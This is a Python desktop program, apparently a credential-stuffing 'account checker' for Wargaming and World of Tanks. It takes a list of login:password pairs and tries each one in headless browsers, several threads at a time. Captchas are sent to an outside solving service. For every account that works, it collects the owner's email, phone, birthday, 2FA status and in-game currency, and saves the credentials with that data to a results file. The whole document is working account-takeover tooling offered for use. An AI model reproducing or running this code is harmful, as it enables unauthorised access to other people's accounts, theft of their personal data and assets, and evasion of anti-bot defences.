import sys
import os
import time
import base64
import threading
from PyQt6.QtWidgets import (
    QApplication, QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLabel, QLineEdit, QFileDialog,
    QCheckBox, QProgressBar, QTextEdit, QSpinBox
)
from PyQt6.QtCore import Qt, pyqtSignal, QObject
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import NoSuchElementException
import requests

class CheckerSignals(QObject):
    log = pyqtSignal(str)
    progress = pyqtSignal(int)
    finished = pyqtSignal()

class WargamingCheckerThread(threading.Thread):
    def __init__(self, accounts, api_key, headless, signals):
        super().__init__()
        self.accounts = accounts
        self.api_key = api_key
        self.headless = headless
        self.signals = signals
        self.is_running = True

    def run(self):
        total = len(self.accounts)
        for i, account in enumerate(self.accounts):
            if not self.is_running:
                break
            if ':' not in account or account.count(':') != 1:
                self.signals.log.emit(f"[WARNING] Invalid account string: '{account}' - skipped.")
                continue
            login, password = account.strip().split(':', 1)
            result = self.check_account(login, password)
            self.signals.log.emit(result)
            self.signals.progress.emit(int((i + 1) / total * 100))
        self.signals.finished.emit()

    def stop(self):
        self.is_running = False

    def check_account(self, login, password):
        try:
            chrome_options = Options()
            if self.headless:
                chrome_options.add_argument('--headless=new')
            chrome_options.add_argument('--no-sandbox')
            chrome_options.add_argument('--disable-dev-shm-usage')
            chrome_options.add_argument('--start-maximized')
            driver = webdriver.Chrome(options=chrome_options)
            try:
                driver.get("https://wargaming.net/id/signin/?next=/id/openid/1538599865344942196/&trust_root=https://worldoftanks.eu/&game_realm=eu&game_realm=eu")
                wait = WebDriverWait(driver, 10)
                try:
                    accept_btn = WebDriverWait(driver, 3).until(
                        EC.element_to_be_clickable((By.ID, "onetrust-accept-btn-handler"))
                    )
                    accept_btn.click()
                    time.sleep(1)
                except Exception:
                    pass
                login_input = wait.until(EC.presence_of_element_located((By.ID, "input_email_login")))
                password_input = driver.find_element(By.ID, "input_password_password")
                login_input.clear()
                login_input.send_keys(login)
                password_input.clear()
                password_input.send_keys(password)
                try:
                    captcha_img = driver.find_element(By.CSS_SELECTOR, 'img.captcha-airy_img[data-test-item="captcha-image"]')
                    captcha_base64 = captcha_img.screenshot_as_base64
                    img_bytes = base64.b64decode(captcha_base64)
                    captcha_code = solve_captcha_sctg(img_bytes, self.api_key)
                    if captcha_code:
                        captcha_input = driver.find_element(By.ID, "captcha")
                        captcha_input.clear()
                        captcha_input.send_keys(captcha_code)
                    else:
                        return f"[INVALID] {login}:{password} (captcha fail)"
                except NoSuchElementException:
                    pass
                except Exception:
                    return f"[INVALID] {login}:{password} (captcha error)"
                submit_button = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, "button[data-test-action='submit']")))
                driver.execute_script("arguments[0].scrollIntoView(true);", submit_button)
                time.sleep(0.2)
                try:
                    submit_button.click()
                except Exception:
                    driver.execute_script("arguments[0].click();", submit_button)
                time.sleep(3)
                if "signin" in driver.current_url.lower() or "login" in driver.current_url.lower():
                    return f"[INVALID] {login}:{password}"
                info = []
                try:
                    driver.get("https://wargaming.net/personal/")
                    try:
                        accept_btn = WebDriverWait(driver, 3).until(
                            EC.element_to_be_clickable((By.ID, "onetrust-accept-btn-handler"))
                        )
                        accept_btn.click()
                        time.sleep(1)
                    except Exception:
                        pass
                    time.sleep(2)
                    try:
                        nickname = driver.find_element(By.CSS_SELECTOR, '[data-personal-app="nickname-change"] .b-heading2__noindent').text.strip()
                        info.append(f"Nick: {nickname}")
                    except Exception:
                        info.append("Nick: -")
                    try:
                        birthday = driver.find_element(By.CSS_SELECTOR, '[data-personal-app="birthday"] .personal-datalist_txt').text.strip()
                        info.append(f"Birthday: {birthday}")
                    except Exception:
                        info.append("Birthday: -")
                    try:
                        country = driver.find_element(By.CSS_SELECTOR, '[data-personal-app="country"] .country-name').text.strip()
                        info.append(f"Country: {country}")
                    except Exception:
                        info.append("Country: -")
                    try:
                        email = driver.find_element(By.CSS_SELECTOR, '[data-personal-app="email-change"] .personal-info-list_value').text.strip()
                        info.append(f"Email: {email}")
                    except Exception:
                        info.append("Email: -")
                    try:
                        email_date = driver.find_element(By.CSS_SELECTOR, '[data-personal-app="email-change"] .personal-info-list_info span').text.strip()
                        info.append(f"Email added: {email_date}")
                    except Exception:
                        info.append("Email added: -")
                    try:
                        pass_date = driver.find_element(By.CSS_SELECTOR, '[data-personal-app="password-change"] .personal-info-list_info span').text.strip()
                        info.append(f"Password added: {pass_date}")
                    except Exception:
                        info.append("Password added: -")
                    try:
                        phone = driver.find_element(By.CSS_SELECTOR, '[data-personal-app="cellphone"] .personal-info-list_info').text.strip()
                        info.append(f"Phone: {phone}")
                    except Exception:
                        info.append("Phone: -")
                    try:
                        fa2 = driver.find_element(By.CSS_SELECTOR, '[data-personal-app="credentials2fa"] .personal-info-list_info').text.strip()
                        info.append(f"2FA: {fa2}")
                    except Exception:
                        info.append("2FA: -")
                    try:
                        protection = driver.find_element(By.CSS_SELECTOR, '[data-personal-app="security-management"] .personal-info-list_info').text.strip()
                        info.append(f"Protection: {protection}")
                    except Exception:
                        info.append("Protection: -")
                    try:
                        shop = driver.find_element(By.CSS_SELECTOR, '[data-personal-app="shop-binding"] .personal-info-list_info').text.strip()
                        info.append(f"Shop binding: {shop}")
                    except Exception:
                        info.append("Shop binding: -")
                except Exception as e:
                    info.append(f"[PROFILE ERROR] {e}")
                try:
                    driver.get("https://worldoftanks.eu/fr/community/accounts/#wot&at_search=")
                    try:
                        accept_btn = WebDriverWait(driver, 3).until(
                            EC.element_to_be_clickable((By.ID, "onetrust-accept-btn-handler"))
                        )
                        accept_btn.click()
                        time.sleep(1)
                    except Exception:
                        pass
                    time.sleep(2)
                    try:
                        wrappers = driver.find_elements(By.CSS_SELECTOR, '.nav-submenu_link-wrapper.js-mainmenu-arrow')
                        found = False
                        for wrapper in wrappers:
                            try:
                                link = wrapper.find_element(By.CSS_SELECTOR, '.nav-submenu_link')
                                href = link.get_attribute('href')
                                if href and '/community/' in href:
                                    arrow = wrapper.find_element(By.CSS_SELECTOR, '.nav-submenu_arrow')
                                    driver.execute_script("arguments[0].scrollIntoView(true);", arrow)
                                    arrow.click()
                                    time.sleep(1)
                                    found = True
                                    break
                            except Exception:
                                continue
                        if not found:
                            info.append("[WOT] Community arrow not found")
                    except Exception:
                        info.append("[WOT] Error finding community arrow")
                    try:
                        mon_profil = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.CSS_SELECTOR, 'a.nav-detail_link.js-portal-menu-link-text.ga4_main-menu[href*="/fr/community/accounts/show/me/"]')))
                        mon_profil.click()
                        time.sleep(3)
                    except Exception:
                        info.append("[WOT] My profile link not found")
                    try:
                        try:
                            h1 = driver.find_element(By.CSS_SELECTOR, 'h1[data-test-component="content_header"]')
                            if 'ne possédez pas de compte dans la région Europe' in h1.text:
                                try:
                                    region_btn = driver.find_element(By.CSS_SELECTOR, 'a[data-test-action="perform_action"], .button-airy.button-airy__block.button-airy__multilines-mob')
                                    driver.execute_script("arguments[0].scrollIntoView(true);", region_btn)
                                    region_btn.click()
                                    time.sleep(3)
                                except Exception:
                                    info.append("[WOT] Region button not found")
                        except Exception:
                            pass
                        try:
                            wot_nick = driver.find_element(By.CSS_SELECTOR, '.user-block_name').text.strip()
                            info.append(f"WoT-Nick: {wot_nick}")
                        except Exception:
                            info.append("WoT-Nick: -")
                        try:
                            reg_date = driver.find_element(By.CSS_SELECTOR, '.user-info-list_item .user-info-list_info').text.strip()
                            info.append(f"WoT-Registration: {reg_date}")
                        except Exception:
                            info.append("WoT-Registration: -")
                        try:
                            premium = driver.find_element(By.CSS_SELECTOR, '.user-info-list_value__prem .user-info-list_caption').text.strip()
                            info.append(f"Premium: {premium}")
                        except Exception:
                            info.append("Premium: -")
                        try:
                            gold = driver.find_element(By.CSS_SELECTOR, '.user-info-list_value__gold .user-info-list_caption').text.strip()
                            info.append(f"Gold: {gold}")
                        except Exception:
                            info.append("Gold: -")
                        try:
                            silver = driver.find_element(By.CSS_SELECTOR, '.user-info-list_value__silver .user-info-list_caption').text.strip()
                            info.append(f"Silver: {silver}")
                        except Exception:
                            info.append("Silver: -")
                        try:
                            bons = driver.find_element(By.CSS_SELECTOR, '.user-info-list_value .ico-profile__bons ~ .user-info-list_caption').text.strip()
                            info.append(f"Bonds: {bons}")
                        except Exception:
                            info.append("Bonds: -")
                        try:
                            free_exp = driver.find_element(By.CSS_SELECTOR, '.user-info-list_value__free-exp .user-info-list_caption').text.strip()
                            info.append(f"Free XP: {free_exp}")
                        except Exception:
                            info.append("Free XP: -")
                        try:
                            wtr = driver.find_element(By.CSS_SELECTOR, '.wtr-block_rating').text.strip()
                            info.append(f"WTR: {wtr}")
                        except Exception:
                            info.append("WTR: -")
                        try:
                            battles = driver.find_element(By.CSS_SELECTOR, '.stats_block__left .stats_value').text.strip()
                            info.append(f"Battles: {battles}")
                        except Exception:
                            info.append("Battles: -")
                        try:
                            wins = driver.find_element(By.CSS_SELECTOR, '.stats_block__left .stats_additional-info__percent').text.strip()
                            info.append(f"Wins: {wins}%")
                        except Exception:
                            info.append("Wins: -")
                        try:
                            max_damage = driver.find_element(By.CSS_SELECTOR, '.stats_block__left .stats_value').text.strip()
                            info.append(f"Max damage: {max_damage}")
                        except Exception:
                            info.append("Max damage: -")
                        try:
                            avg_damage = driver.find_element(By.CSS_SELECTOR, '.stats_block__left .stats_additional-info').text.strip()
                            info.append(f"Avg damage: {avg_damage}")
                        except Exception:
                            info.append("Avg damage: -")
                        try:
                            max_exp = driver.find_element(By.CSS_SELECTOR, '.stats_block__left .stats_value').text.strip()
                            info.append(f"Max XP: {max_exp}")
                        except Exception:
                            info.append("Max XP: -")
                        try:
                            avg_exp = driver.find_element(By.CSS_SELECTOR, '.stats_block__left .stats_additional-info').text.strip()
                            info.append(f"Avg XP: {avg_exp}")
                        except Exception:
                            info.append("Avg XP: -")
                        try:
                            frags = driver.find_element(By.CSS_SELECTOR, '.stats_block__right .stats_value').text.strip()
                            info.append(f"Frags: {frags}")
                        except Exception:
                            info.append("Frags: -")
                        try:
                            max_frags = driver.find_element(By.CSS_SELECTOR, '.stats_block__right .stats_additional-info').text.strip()
                            info.append(f"Max frags: {max_frags}")
                        except Exception:
                            info.append("Max frags: -")
                    except Exception as e:
                        info.append(f"[WOT PROFILE ERROR] {e}")
                except Exception as e:
                    info.append(f"[WOT NAV ERROR] {e}")
                try:
                    with threading.Lock():
                        with open('wargaming_results.txt', 'a', encoding='utf-8') as f:
                            f.write(f"{login}:{password}-" + '-'.join(info) + "\n")
                except Exception as e:
                    self.signals.log.emit(f"[SAVE ERROR] {e}")
                return f"[VALID] {login}:{password} - " + ' | '.join(info)
            except Exception:
                return f"[INVALID] {login}:{password} (error)"
            finally:
                try:
                    driver.quit()
                except Exception:
                    pass
        except Exception:
            return f"[INVALID] {login}:{password} (driver fail)"

def solve_captcha_sctg(image_bytes, api_key):
    url = "http://sctg.xyz/in.php"
    files = {'file': ('captcha.jpg', image_bytes)}
    data = {
        'key': api_key,
        'method': 'post'
    }
    response = requests.post(url, files=files, data=data)
    if response.ok and response.text.startswith('OK|'):
        captcha_id = response.text.split('|', 1)[1]
        for i in range(40):
            res = requests.get(f"http://sctg.xyz/res.php?key={api_key}&action=get&id={captcha_id}")
            if res.text.startswith('OK|'):
                return res.text.split('|', 1)[1]
            elif 'CAPCHA_NOT_READY' in res.text:
                time.sleep(2)
            else:
                break
    return None

class CheckerGUI(QWidget):
    def __init__(self):
        super().__init__()
        self.setWindowTitle('Wargaming Account Checker')
        self.setGeometry(200, 200, 600, 400)
        self.checker_thread = None
        self.init_ui()

    def init_ui(self):
        layout = QVBoxLayout()

        file_layout = QHBoxLayout()
        self.file_label = QLabel('Accounts file:')
        self.file_path = QLineEdit()
        self.file_btn = QPushButton('Browse...')
        self.file_btn.clicked.connect(self.choose_file)
        file_layout.addWidget(self.file_label)
        file_layout.addWidget(self.file_path)
        file_layout.addWidget(self.file_btn)
        layout.addLayout(file_layout)

        api_layout = QHBoxLayout()
        self.api_label = QLabel('API key:')
        self.api_input = QLineEdit()
        api_layout.addWidget(self.api_label)
        api_layout.addWidget(self.api_input)
        layout.addLayout(api_layout)

        self.headless_checkbox = QCheckBox('Hide browser (headless)')
        self.headless_checkbox.setChecked(True)
        layout.addWidget(self.headless_checkbox)

        threads_layout = QHBoxLayout()
        self.threads_label = QLabel('Threads:')
        self.threads_spin = QSpinBox()
        self.threads_spin.setMinimum(1)
        self.threads_spin.setMaximum(20)
        self.threads_spin.setValue(1)
        threads_layout.addWidget(self.threads_label)
        threads_layout.addWidget(self.threads_spin)
        layout.addLayout(threads_layout)

        btn_layout = QHBoxLayout()
        self.start_btn = QPushButton('Start')
        self.stop_btn = QPushButton('Stop')
        self.stop_btn.setEnabled(False)
        self.start_btn.clicked.connect(self.start_check)
        self.stop_btn.clicked.connect(self.stop_check)
        btn_layout.addWidget(self.start_btn)
        btn_layout.addWidget(self.stop_btn)
        layout.addLayout(btn_layout)

        self.progress = QProgressBar()
        layout.addWidget(self.progress)

        self.log = QTextEdit()
        self.log.setReadOnly(True)
        layout.addWidget(self.log)

        self.setLayout(layout)

    def choose_file(self):
        file, _ = QFileDialog.getOpenFileName(self, 'Select accounts file', '', 'Text Files (*.txt);;All Files (*)')
        if file:
            self.file_path.setText(file)

    def start_check(self):
        accounts_file = self.file_path.text().strip()
        api_key = self.api_input.text().strip()
        headless = self.headless_checkbox.isChecked()
        threads = self.threads_spin.value()
        if not os.path.isfile(accounts_file):
            self.log.append('Accounts file not found!')
            return
        if not api_key:
            self.log.append('API key cannot be empty!')
            return
        with open(accounts_file, 'r', encoding='utf-8') as f:
            accounts = [line.strip() for line in f if line.strip()]
        self.progress.setValue(0)
        self.log.clear()
        self.start_btn.setEnabled(False)
        self.stop_btn.setEnabled(True)
        self.threads = []
        self.signals = CheckerSignals()
        self.signals.log.connect(self.log.append)
        self.signals.progress.connect(self.progress.setValue)
        self.signals.finished.connect(self.check_finished)
        chunk_size = len(accounts) // threads + 1
        for i in range(threads):
            chunk = accounts[i*chunk_size:(i+1)*chunk_size]
            if not chunk:
                continue
            t = WargamingCheckerThread(chunk, api_key, headless, self.signals)
            t.start()
            self.threads.append(t)

    def stop_check(self):
        for t in getattr(self, 'threads', []):
            t.stop()
        self.start_btn.setEnabled(True)
        self.stop_btn.setEnabled(False)
        self.log.append('Stopping check...')

    def check_finished(self):
        self.start_btn.setEnabled(True)
        self.stop_btn.setEnabled(False)
        self.log.append('Check completed!')

if __name__ == '__main__':
    app = QApplication(sys.argv)
    gui = CheckerGUI()
    gui.show()
    sys.exit(app.exec())